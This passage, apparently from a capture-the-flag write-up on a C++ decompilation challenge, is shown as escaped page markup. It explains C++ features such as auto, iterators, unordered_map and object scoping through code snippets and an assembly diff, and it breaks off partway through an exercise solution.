		&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; ch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ...update the character.&lt;/span&gt;
		new_map&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ch &lt;span class=&quot;token operator&quot;&gt;^&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// A new map is used so that old mappings aren&#39;t kept.&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// Update the map of the current node.&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; new_map&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// Recurse into child nodes with the same xor key.&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;next_node&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pair &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; ch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; node &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pair&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		node&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;mix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmix&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Now if you run this through the compiler diff, it should respond with some lines:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-diff-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-asm&quot;&gt;&lt;span class=&quot;token deleted-sign deleted language-asm&quot;&gt;&lt;span class=&quot;token prefix deleted&quot;&gt;-&lt;/span&gt;call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-asm&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Subtle. But there is a good reason why this occurs.
We&#39;ll look at this in more detail later.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;on-various-features&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-various-features&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Various Features&lt;/h3&gt;
&lt;p&gt;Common, but worth mentioning.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;On &lt;code&gt;auto&lt;/code&gt;&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;&lt;code&gt;auto&lt;/code&gt; is a special keyword introduced in C++11 typically used to tell the compiler: &amp;quot;figure out this type for me&amp;quot;.&lt;/p&gt;
&lt;p&gt;It has seen wide adoption and growing support in the standard (more features for &lt;code&gt;auto&lt;/code&gt; are added each standard). Now (C++20) it&#39;s used widely in template parameters and lambda parameters.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;On Iterators&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;The previous solution for &lt;code&gt;mix()&lt;/code&gt; made use of &lt;em&gt;iterators&lt;/em&gt;. These are commonly used by the &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Standard Template Library&quot;&gt;STL&lt;/abbr&gt;, providing a generic interface for iterating over containers.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; container&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; it &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; container&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;it&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We generally start with &lt;code&gt;.begin()&lt;/code&gt; and iterate with &lt;a href=&quot;https://stackoverflow.com/a/1077047/10239789&quot;&gt;prefix increment&lt;/a&gt; (&lt;code&gt;++it&lt;/code&gt;) until we hit the &lt;code&gt;.end()&lt;/code&gt; iterator. With iterators, we can apply generic &lt;a href=&quot;https://en.cppreference.com/w/cpp/algorithm&quot;&gt;algorithms&lt;/a&gt; on generic containers.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;On Unordered Map&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;You may be wondering: why &lt;code&gt;std::unordered_map&lt;/code&gt;? Why not &lt;code&gt;std::map&lt;/code&gt;? Why type 10 extra keystrokes?&lt;/p&gt;
&lt;p&gt;The reason is time complexity.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;std::map&lt;/code&gt; is a binary search tree, giving &lt;code&gt;O(log n)&lt;/code&gt; search time on average (where &lt;code&gt;n&lt;/code&gt; is the number of entries).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;std::unordered_map&lt;/code&gt; is a hashmap, giving &lt;code&gt;O(1)&lt;/code&gt; search time on average. Takes more space though.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As the value of n increases, the number of operations required for &lt;code&gt;std::map&lt;/code&gt; will increase at a faster rate compared to &lt;code&gt;std::unordered_map&lt;/code&gt;. This is because &lt;code&gt;std::unordered_map&lt;/code&gt; is not affected by the number of entries in the map (except in the case of rehashing); hence, the constant time complexity, &lt;code&gt;O(1)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In the interest of performance, it&#39;s typical to opt for &lt;code&gt;unordered_map&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But in our case, since a node only has 256 possible edges (&lt;code&gt;char&lt;/code&gt;), the potential speed boost is limited, and the choice between &lt;code&gt;map&lt;/code&gt; and &lt;code&gt;unordered_map&lt;/code&gt; is debatable. ¯&#92;_(ツ)_/¯&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h3 id=&quot;on-scoping&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#on-scoping&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; On Scoping&lt;/h3&gt;
&lt;p&gt;An object in C++ has a &lt;strong&gt;constructor&lt;/strong&gt; and &lt;strong&gt;destructor&lt;/strong&gt;, functions that run at the beginning and end of its lifetime. The object&#39;s &lt;em&gt;&lt;strong&gt;scope&lt;/strong&gt;&lt;/em&gt; affects the placement of its constructor and destructor.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Let’s look at some examples:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// String in outer scope.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string constructor called&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do stuff&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor called&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// String in inner scope.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string constructor called&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do stuff&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor called&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Do you C the difference?&lt;/p&gt;
&lt;p&gt;Things become complicated when we further consider &lt;a href=&quot;https://www.internalpointers.com/post/understanding-meaning-lvalues-and-rvalues-c&quot;&gt;lvalues and rvalues&lt;/a&gt; (think: variables and temporaries).&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Complicated Examples&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Passing lvalue string to normal parameter.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Copy constructor is called and a temp object is created.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string constructor called&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do stuff&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ---&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string copy constructor called (copies s to a temporary)&lt;/span&gt;
		&lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor (of temporary string) called&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ---&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do more stuff&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor called&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Passing rvalue string to normal parameter.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Regular constructor is called and a temp object is created.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do stuff&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ---&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// `const char*` literal is implicitly converted to std::string.&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string constructor called (creates a temporary)&lt;/span&gt;
		&lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Hello world!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// &amp;lt;- string destructor (of temporary string) called&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// ---&lt;/span&gt;
		&lt;span class=&quot;token comment&quot;&gt;// do more stuff&lt;/span&gt;
	&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;I don&#39;t intend to cover every single possible case. But yes, C++ is &lt;em&gt;extremely&lt;/em&gt; nuanced in this regard. (See also: &lt;a href=&quot;https://cplusplus.com/doc/tutorial/classes/&quot;&gt;classes&lt;/a&gt;, &lt;a href=&quot;https://cplusplus.com/doc/tutorial/classes2/&quot;&gt;special member functions&lt;/a&gt;, &lt;a href=&quot;https://stackoverflow.com/q/3106110/10239789&quot;&gt;move semantics&lt;/a&gt;.)&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The point is: &lt;strong&gt;object scoping is all reflected at assembly level&lt;/strong&gt;. We can get a good understanding where an object is declared by &lt;em&gt;paying attention to its constructors and destructors&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This applies to classes, such as STL containers. Primitives (int, char, pointers) don&#39;t have constructors/destructors, so it’s trickier to tell where they&#39;re instantiated. It&#39;s even trickier with heavy optimisations.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Exercise&lt;/strong&gt;: Reverse the &lt;code&gt;main&lt;/code&gt; function.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use the position of constructors and destructors to determine the scope of various strings.&lt;/li&gt;
&lt;li&gt;Beware backslashes in the inserted strings.&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;&lt;summary&gt;Possible Solution&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; opt&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    string str&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
